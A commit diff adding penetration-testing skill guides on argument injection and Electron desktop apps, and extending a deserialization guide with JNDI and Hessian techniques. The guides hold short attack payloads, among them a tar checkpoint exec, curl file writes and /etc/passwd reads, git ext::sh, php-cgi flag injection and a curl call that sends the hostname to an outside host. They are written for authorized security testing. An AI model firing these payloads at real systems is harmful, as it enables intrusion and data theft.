Add argument_injection & electron_desktop_apps skills; expand deserialization with JNDI/Hessian

This commit is contained in:
Alex Schapiro
2026-08-12 03:25:04 +00:00
committed by Devin AI
parent 8a2f61feff
commit 1bf6c1616e
6 changed files with 263 additions and 2 deletions
+2
View File
@@ -52,6 +52,8 @@ Notable source-aware skills:
- `browser_security` (vulnerabilities): browsing-context, postMessage, XS-Leaks, service-worker, and cross-origin state-machine testing
- `azure` (cloud): Azure and Microsoft Entra privilege, PIM, workload identity, and cross-plane escalation analysis
- `infrastructure_lifecycle` (reconnaissance): abandoned or mutable external dependencies such as update endpoints, MX, storage, and control domains
- `argument_injection` (vulnerabilities): CLI/argv flag smuggling and argument splitting, including Windows Best-Fit (WorstFit) charset transformations that defeat prior escaping
- `electron_desktop_apps` (vulnerabilities): Electron/web-tech desktop app renderer-to-native trust boundary, preload/IPC bridge exposure, and navigation-escape analysis
---
@@ -0,0 +1,122 @@
---
name: argument-injection
description: Argument injection and argument splitting testing for CLI/subprocess invocations, including flag/option smuggling, argv boundary breakout, response/config file abuse, and Windows Best-Fit (WorstFit) charset transformations that defeat prior escaping
---
# Argument Injection
Use this skill when user-influenced data becomes part of a command's **argument vector**, not a shell string. This is distinct from classic command injection: there may be no shell, no metacharacters, and correct shell-escaping — yet the attacker still controls program behavior by injecting **additional flags/options** or by splitting one argument into several.
The core question is never "can I reach a shell?" It is: *does attacker input decide which options, files, or sub-actions a trusted binary performs?* Load `rce` when a shell metacharacter sink is present, and `semantic_confusion` when the injection arises from a normalization/encoding differential between the escaper and the argv consumer.
## Why It Is Missed
- The code uses a safe API (`execve`, `subprocess.run([...])`, `ProcessBuilder`) with no shell, so command-injection checks pass.
- Each individual argument is correctly quoted/escaped for the shell, but quoting does not stop a value that *starts with `-`* from being parsed as an option.
- The input passes a WAF/validator in one representation, then a later layer (OS, C runtime, wide→ANSI conversion) rewrites it into argv-significant characters.
## Attack Surface
Look for any place a trusted binary is invoked with attacker-influenced values:
- image/media processors: `convert`/ImageMagick, `ffmpeg`, `gs`/Ghostscript, `exiftool`
- VCS and transfer tools: `git`, `svn`, `hg`, `curl`, `wget`, `scp`/`ssh`/`plink`, `rsync`
- archive/crypto/db tools: `tar`, `zip`/`unzip`, `openssl`, `gpg`, `mysql`/`psql`, `sqlite3`
- interpreters/runtimes launched as subprocesses: `php`, `php-cgi`, `python`, `node`, `java`
- mail/report/PDF pipelines, LDAP/`ldapsearch`, `find`/`xargs`, and any `Open With`/handler registration
- CGI/FastCGI query strings mapped onto interpreter argv (e.g. historical `php-cgi` `?-d`/`-s`)
## Two Distinct Primitives
### 1. Option/Flag Injection
A value placed where a *positional* argument is expected but not prefixed-guarded is parsed as an option:
- write primitives: `--output=`, `-o`, `-O`, `--config=`, `-K/--config`, `--upload-file`
- read/exec primitives: `--exec`, `-c`, `-e`, `--use-compress-program=`, `--checkpoint-action=exec=`
- behavior toggles: `--insecure`, `--no-check-certificate`, `-proxy`, `--interactive`
Representative generic PoCs (validate on the specific tool/version — flag names vary):
```text
# curl: turn a fetched "URL" into a file write / local file read
-o/tmp/pwn # write response to a chosen path
file:///etc/passwd # scheme downgrade when scheme is not pinned
# tar: classic exec via checkpoint action
--checkpoint=1 --checkpoint-action=exec=sh\ shell.sh
# git: option-controlled config / hook / upload-pack
-c core.sshCommand=... ext::sh\ -c\ ...
```
### 2. Argument Splitting
One intended argument becomes several because a separator survives escaping:
- whitespace, `\t`, newline, or NUL that the escaper missed
- quoting that the argv builder collapses differently than the validator expected
- an OS/runtime transformation that *introduces* a separator (see Best-Fit below)
The result: `["tool", "user-value"]` becomes `["tool", "user", "--evil"]`.
## Windows Best-Fit / "WorstFit" Charset Transformation
A critical, widely-missed argument-injection amplifier on Windows. ANSI (`*A`) APIs convert UTF-16 to the process code page using **Best-Fit mapping**, which silently rewrites Unicode look-alikes into argv-significant ASCII *after* validation and escaping have run.
Affected APIs (any of these can undo prior sanitization):
- `GetCommandLineA`, `CommandLineToArgvA`-style parsing, `__argv`/`main(argc, argv)` in ANSI builds
- `GetEnvironmentVariableA`, `getenv`, `GetCurrentDirectoryA`, `getcwd`
- `FindFirstFileA`/`FindNextFileA` and other `*A` filesystem calls
Best-Fit turns benign-looking Unicode into delimiters/flags depending on code page:
| Attacker sends (Unicode) | Best-Fit result | Effect |
|---|---|---|
| U+00AD soft hyphen | `-` | injects an option where `-` was filtered |
| U+FF0F fullwidth solidus, ¥/₩ (yen/won) | `/` or `\` | path traversal / flag separators |
| U+2033, fullwidth quotes | `"` | breaks out of a quoted argv segment |
| various fullwidth/look-alike letters | ASCII letters | reconstruct filtered keywords |
Consequences seen in research: PHP-CGI argument-injection bypass via soft hyphen, path traversal via yen/won/fullwidth slash, argv splitting despite prior escaping, and env/path confusion in CGI. The invariant: **the bytes validated are not the bytes the program parses.**
## Detection and Recon
- Source review: find every `subprocess`/`exec*`/`ProcessBuilder`/`os.popen`/backtick site and check whether any argument is attacker-influenced and whether a leading-`-` guard or `--` terminator precedes it.
- Black-box: submit values beginning with `-`/`--`, embedding whitespace/newline/NUL, and (on Windows targets) Unicode look-alikes for `- / \ "`. Diff behavior, output location, timing, and error text against a clean baseline.
- CGI/interpreter surfaces: probe whether query strings without `=` reach interpreter argv (historical `php-cgi` `?-s`, `?-d allow_url_include=1`).
- Prefer a benign, observable primitive first (write a canary to a tester-owned path, add a no-op flag that changes output verbosity) before any exec flag.
## Safe Validation
1. Prove input crosses the argv boundary: show the same value parsed as an option/extra arg vs. treated as a literal positional (paired control).
2. Use the least powerful demonstrable primitive — a verbose/version flag or a write to a tester-owned path — not remote code execution, unless RCE proof is explicitly authorized and contained.
3. For Best-Fit, capture both the submitted Unicode bytes and the ANSI bytes the process actually parsed (e.g. via a logging shim or the tool's own echo of argv), and record the code page.
4. Reproduce on the deployed tool/runtime version; flag names, Best-Fit tables, and CGI behavior are version- and code-page-specific.
## Defenses (for remediation notes)
- Prefix untrusted positional values with `--` (end-of-options) where the tool supports it, or hard-pin every option yourself.
- Reject or normalize leading `-`, whitespace, and NUL in values destined for argv.
- On Windows, use wide-character APIs (`wmain`, `GetCommandLineW`, `*W` calls) and avoid ANSI/Best-Fit conversion entirely.
- Never build argv from user input for security-relevant flags (output paths, config, exec/hook options); pass those as fixed literals.
## False Positives
- Value is attacker-influenced but the code inserts `--` before it, or validates a strict allowlist (numeric/UUID/enum) that cannot start with `-`.
- A separator appears in logs but the argv builder passes the whole value as one element (verify the real `argv`, not the log line).
- A Unicode character is accepted but the target uses `*W` APIs, so no Best-Fit conversion occurs.
- The injected flag exists but has no security-relevant effect on this tool/version.
## Pro Tips
1. The tell is a trusted binary + user-controlled argument, even with no shell and perfect quoting.
2. Always test a value that simply *starts with a dash*; it is the highest-signal, lowest-effort probe.
3. On Windows, treat `*A` APIs as an escaping-bypass primitive, not a cosmetic detail — Best-Fit runs after your validation.
4. Generalize findings by the primitive class (write / read / exec / behavior toggle), not by the specific flag string.
5. CGI query strings that reach an interpreter's argv are argument injection, not "just LFI."
## Summary
Argument injection is control of a program's argument vector without needing a shell. Model where untrusted data enters `argv`, test for option smuggling and argument splitting, and remember that Windows Best-Fit conversion can reintroduce `- / \ "` after every validation step. Prove the argv boundary crossing with a paired control and the least powerful primitive.
@@ -7,7 +7,7 @@ description: Browser-internals security testing for browsing-context relationshi
Use this skill when exploitability depends on browser behavior beyond a basic HTML injection. Model origins, browsing contexts, navigation history, workers, caches, router decoding, request metadata, and user activation as explicit state.
Pair this skill with `xss`, `oauth`, `open_redirect`, `csrf`, or `semantic_confusion` when one of those is the primary vulnerability class.
Pair this skill with `xss`, `oauth`, `open_redirect`, `csrf`, or `semantic_confusion` when one of those is the primary vulnerability class. When the renderer is an Electron/web-tech desktop app with a preload/IPC bridge, load `electron_desktop_apps` — navigation and origin transitions there escalate to native capability, not just DOM access.
## Safety Boundary
@@ -0,0 +1,108 @@
---
name: electron-desktop-apps
description: Security testing for Electron and other web-tech desktop apps covering the renderer-to-native trust boundary, preload/IPC bridge exposure, top-level navigation escape, custom protocol/deep-link handlers, auto-update, and node/context isolation misconfiguration
---
# Electron / Web-Tech Desktop Apps
Use this skill when the target is a desktop app built on Electron (or a similar Chromium+Node/webview stack: NW.js, CEF, Tauri-with-Node, wails). These apps look native but much of the UI is web content, so their security model reduces to one question: **which web content is allowed to talk to the native side, and does that trust survive navigation?**
Electron's model is *positional*: native capability follows the window, and it only holds while that window stays on trusted content. Pair `xss` (to get script into the renderer), `browser_security` (context/navigation state machine), `argument_injection` (native subprocess launches), and `insecure_deserialization`/`rce` when a native handler is the final sink.
## Threat Model
The prize is moving attacker-controlled JavaScript into a **preload-bearing (privileged) renderer**, then using the bridge that renderer already has. Full Node integration is *not* required — inheriting an existing IPC bridge is enough.
```text
untrusted content in first-party UI (display name, notification, note title, avatar)
-> renders as live link / injected markup in trusted renderer
-> top-level navigation to attacker origin (bridge NOT dropped)
-> window.electron / ipcInvoke reachable from attacker page
-> privileged IPC channels: session tokens, sqlite port, screenshot/webcam, fs
-> account takeover + local desktop foothold
```
## Recon: Unpack and Map the Native Surface
1. Extract the app bundle: locate and unpack `app.asar` (`npx @electron/asar extract app.asar out/`, or `asar`), or read the plain `resources/app` directory. Grab `package.json` (`main` entry) and the Electron version.
2. Find every `BrowserWindow`/`BrowserView`/`webContents` creation and record its `webPreferences`:
- `nodeIntegration`, `contextIsolation`, `sandbox`, `nodeIntegrationInSubFrames`, `webSecurity`, `allowRunningInsecureContent`, `preload`.
3. Read each `preload` script: what does it expose via `contextBridge.exposeInMainWorld` / on `window`? Is it a **narrow typed API** or a **generic IPC pass-through** (`ipcInvoke`/`ipcSend`/`ipcOn` with caller-chosen channel names)?
4. Inventory `ipcMain.handle`/`ipcMain.on` channels — this is the *real* capability list. Note sensitive ones: session/token get/set, DB key or port, `shell.openExternal`/`openPath`, fs read/write, screenshot/media, child_process/exec, auto-update triggers.
5. Map navigation guards: `setWindowOpenHandler`, and handlers for `will-navigate`, `will-redirect`, `will-attach-webview`, `web-contents-created`. Note custom protocol registration (`protocol.register*`, `app.setAsDefaultProtocolClient`) and deep-link handling (`open-url`, second-instance argv).
## High-Value Weaknesses
### Top-Level Navigation Escape (the crack)
The most impactful and most common gap: apps guard *new windows* (`setWindowOpenHandler` denies popups / routes to system browser) but leave the **primary window's top-level navigation** unguarded. Because the preload bridge is attached to the window — granted once, not per-URL — navigating that window to `https://attacker.example` carries `window.electron` along.
- Test whether any in-app action, link, or redirect can move a preload-bearing window off the trusted origin (`app://`, `file://`, first-party https).
- The correct fix (use as an oracle): deny-by-default on `will-navigate` **and** `will-redirect`, allowlisting only trusted origins and pushing everything else to `shell.openExternal`.
```javascript
webContents.on('will-navigate', (event, url) => {
if (!url.startsWith('app://ui/')) {
event.preventDefault();
if (url.startsWith('https:') || url.startsWith('mailto:')) shell.openExternal(url);
}
});
// Same guard required for 'will-redirect'.
```
### Untrusted Content Rendered as Trusted UI
First-party UI chrome is not automatically trusted input. Display names, activity-feed/notification entries, meeting/note titles, avatars, and chat messages are attacker-writable and can carry markup or markdown links that become the navigation trigger inside the privileged renderer.
- Enumerate every field another user (or a lower-trust source) can control that renders in a privileged window.
- Test link/markup sanitization on *each* surface separately; a body may be guarded while display names are not.
- Watch for encoding bypasses of URL defanging, e.g. **markdown with an HTML-entity-encoded scheme colon** rendering as a live link after raw `javascript:`/`https:` is stripped.
### Generic IPC Pass-Through Bridge
If the preload exposes `ipcInvoke(channel, ...)` with arbitrary channel names, the effective gate is the `ipcMain` handler list, not any renderer-side allowlist (unknown channels merely return "no handler registered"). A compromised renderer can then call any registered channel.
- Enumerate reachable channels from renderer JS; probe sensitive ones (`get-session`, `get-refreshed-access-token`, `set-tokens`, `get-stored-accounts`, `sqlite:port`, screenshot/system).
- Correct design (oracle): a narrow, explicit, typed API with authorization enforced on the **main-process** side, not a channel-name pass-through.
### Node / Context Isolation Misconfiguration
- `nodeIntegration: true` or `contextIsolation: false` on any window that can render remote/untrusted content = direct RCE; check every window, webview, and child frame, not just the main one.
- `sandbox: false` + a leaky preload can expose Node primitives even with contextIsolation on.
- `webview`/`<webview>` tags and `nodeIntegrationInSubFrames` re-open the boundary inside frames.
### Custom Protocols, Deep Links, and Auto-Update
- Custom scheme / deep-link handlers (`myapp://…`, `open-url`, second-instance `argv`) accept OS-level attacker input; test for path traversal, argument injection into a launched process (load `argument_injection`), and navigation into privileged windows.
- Auto-update: verify update feed is HTTPS + signature-checked; an unauthenticated/naively-parsed feed is native RCE.
### Renderer-Exposed Secrets
- Encryption keys must not live in renderer reach. If the app exports a DB key (e.g. **SQLCipher key** stored in IndexedDB / handed to renderer JS), at-rest encryption does not survive renderer compromise. Check what secrets IndexedDB/localStorage/JS globals hold once you have renderer execution.
## Safe Validation
- Run the packaged app under a local Electron runtime in an isolated VM with synthetic accounts/data. Do not exfiltrate real user data.
- Prove the **chain**, not just a finding: "a bridge exists" ≠ "an attacker can reach it." Show injected content → off-origin navigation with `window.electron` still present → a benign privileged IPC call (e.g. a read-only channel returning a canary), captured on video/trace.
- Use the least sensitive channel that demonstrates authority; avoid pulling real tokens or invoking media capture beyond what proves reachability.
- Record Electron version and exact `webPreferences`; behavior and defaults change across major versions.
## False Positives
- `nodeIntegration:false` + `contextIsolation:true` reported as "safe" without checking whether navigation can carry the bridge off-origin.
- A dangerous IPC channel exists but no untrusted content can reach a preload-bearing renderer (no navigation escape, no injection surface).
- `setWindowOpenHandler` present, cited as full coverage, while `will-navigate`/`will-redirect` are unguarded (or vice versa).
- Remote content loaded in a window that genuinely has no preload and no node access.
- A deep-link handler that only routes to in-app views with no argv/navigation/traversal effect.
## Pro Tips
1. Capability follows the window — always ask whether a privileged window can wander off trusted content.
2. Treat every user-writable string that renders in first-party UI as attacker-controlled.
3. The handler list is the real ACL for a generic bridge; enumerate `ipcMain` channels, not the preload's intent.
4. Check *every* window/webview/subframe's `webPreferences`, not just the main window.
5. Severity comes from the full path; a video of one-click injection → retained bridge → privileged call is worth more than a config screenshot.
## Summary
Electron security is positional trust: native capability rides the window and holds only while the window stays on trusted content. Map `webPreferences`, the preload bridge, and `ipcMain` channels; then hunt for a way to get untrusted JS into a preload-bearing renderer — most often an unguarded top-level navigation triggered by attacker-controlled first-party UI. Prove the whole chain with the least powerful privileged call.
@@ -10,7 +10,7 @@ Insecure deserialization passes attacker-controlled byte streams or structured b
## Attack Surface
**Formats**
- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML)
- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML), Hessian/Burlap, Kryo, RMI/JMX
- Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve
- PHP: `unserialize()`, Phar deserialization
- .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState
@@ -58,6 +58,31 @@ yaml.load readObject( TypeNameHandling Marshal.load
```
When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types.
**JNDI Injection (the modern Java pivot)**
Many Java sinks do not run a classic ObjectInputStream gadget at all — they coerce a type whose deserialization triggers a **JNDI lookup** to an attacker-controlled URL, which returns a malicious object/factory. This is the mechanism behind `JdbcRowSetImpl`, Fastjson/Jackson polymorphic types, and Log4Shell-style lookups.
- Trigger types/fields: `dataSourceName`, `jndiName`, `namingURL`, any `Context.lookup()` on user data.
- Endpoints: `ldap://`, `ldaps://`, `rmi://`, `dns://` (DNS is a safe no-exec reachability oracle).
- Post-JEP-290/8u191 hardening blocks remote-codebase class loading, so modern exploitation returns a **local gadget** (e.g. a bean/`BeanFactory`/EL/Groovy invoker already on the classpath) via the LDAP reference instead of a remote class. Fingerprint the JDK/`trustURLCodebase` setting before choosing remote-class vs local-gadget.
- Tooling: a JNDI exploit server (e.g. `marshalsec`/rogue-jndi style LDAP/RMI referral servers) — authorized testing only. Confirm reachability with a `dns://`/LDAP callback first.
**Hessian / Burlap**
- Binary RPC formats deserialized by `HessianInput`/`Hessian2Input`. Attacker object graphs reach gadgets even though it is not native Java serialization.
- Common in enterprise middleware and management endpoints reachable only after a proxy/path-confusion bypass — pair `semantic_confusion` when a front proxy is supposed to block the endpoint.
- Typical chains land on the same local invokers below (`JdbcRowSet`→JNDI, `Resin`/`SpringPartiallyComparableAdvisorHolder`, etc.). `marshalsec` generates Hessian/Burlap payloads.
**Local Gadget Invokers (when remote class loading is blocked)**
After a JNDI/Hessian/JSON-typing primitive, exploitation depends on classes already present. Enumerate these generic invokers rather than a vendor-specific file list:
- `org.springframework.beans.factory.support...BeanFactory` / `SimpleJndiBeanFactory`
- `javax.el.ELProcessor` / EL evaluation beans
- `groovy.lang.GroovyShell` / `GroovyClassLoader` and Groovy gadget classes
- `com.sun.rowset.JdbcRowSetImpl` (JNDI), `org.apache.xbean...`, `org.apache.commons.configuration...`
Match the invoker to the fingerprinted classpath; the presence of Spring/Groovy/Tomcat-EL on the path decides which one fires.
### Python Pickle
Pickle executes arbitrary code during unpickling by design:
@@ -162,6 +187,8 @@ When `TypeNameHandling` != `None`.
3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens
4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source
5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps
6. Modern Java rarely runs a remote-class gadget — expect JNDI-to-local-gadget; confirm reachability with `dns://`/LDAP before firing a chain
7. A "blocked" enterprise deserialization endpoint may just need a proxy/path-confusion bypass to reach — pair `semantic_confusion`
## Tooling
@@ -172,6 +199,7 @@ Payload generation is the practitioner's core tool here. The sandbox has `git`/`
| **ysoserial** (frohoff) | Java native | Gadget-chain payloads: `CommonsCollections1-7`, `Groovy1`, `Spring1/2`, and `URLDNS` for a safe no-exec DNS oracle. Needs a JRE. |
| **phpggc** (ambionics) | PHP `unserialize` / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs `php-cli`. |
| **ysoserial.net** | .NET `BinaryFormatter` / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. |
| **marshalsec** | Java Hessian/Burlap, Kryo, JSON, and rogue JNDI (LDAP/RMI) referral servers | Generate non-native Java payloads and stand up a JNDI exploit server. Needs a JRE; authorized testing only. |
```
# Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain
+1
View File
@@ -80,6 +80,7 @@ curl https://xyz.oast.fun/$(hostname)
- Break out of quoted segments by alternating quotes and escapes
- Environment expansion: `$PATH`, `${HOME}`, command substitution
- Windows: `%TEMP%`, `!VAR!`, PowerShell `$(...)`
- When the sink is a shell-free subprocess (`execve`/`subprocess.run([...])`) with a user-controlled argument, load `argument_injection` — flag smuggling, argv splitting, and Windows Best-Fit conversion apply even with correct shell-escaping
**Path and Builtin Confusion**
- Force absolute paths (`/usr/bin/id`) vs relying on PATH